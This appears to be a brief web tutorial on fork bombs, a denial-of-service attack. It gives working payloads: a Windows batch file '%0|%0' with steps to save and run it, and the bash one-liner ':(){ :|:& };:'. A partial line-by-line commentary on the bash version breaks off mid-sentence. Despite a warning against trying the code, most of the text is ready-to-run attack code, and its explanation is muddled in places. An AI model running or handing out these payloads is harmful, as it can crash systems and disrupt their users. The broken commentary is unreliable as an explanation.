Fork bomb - denial-of-service (DoS) attack against a Linux based system

 Fork bomb

A fork bomb is a way of stopping a computer from running by making many copies of a program. A fork bomb copies itself into more then two copies, which then copy themselves into four copies. Then both the original and the copy will keep making copies until the computer can no longer handle it and crash.

The fork bomb is a form of denial-of-service (DoS) attack against a Linux based system. It makes use of the fork operation.
Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting the system as the only solution to a fork bomb is to destroy all instances of it.


Warning : Don’t try this code on your computer


Notepad Fork Bomb
Open up notepad and type:

%0|%0

and save it as NotepadVirus.bat ..its a virus of just 5 characters .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt.

Shell Script Fork Bomb
shell (Unix/bash) version.

: (){ : |:& };:


:() # define ':' -- whenever we say ':', do this:
{ # beginning of what to do when we say ':'
: # load another copy of the ':' function into
memory...
| # ...and pipe its output to...
: # ...another copy of ':' function, which has to
be loaded into memor
# (therefore, ':|:' simply gets two copies of ':'
loaded whenever ':' is called)
& # disown the functions -- if the first ':' is killed,
# all of the functions that it has started should


Reference :
1. http://malware.wikia.com/wiki/Fork_bomb
2. http://en.wikipedia.org/wiki/Fork_bomb
3. http://stackoverflow.com/questions/991142/how-does-this-bash-fork-bomb-work
4. http://viralpatel.net/blogs/simplest-virus-fork-bomb/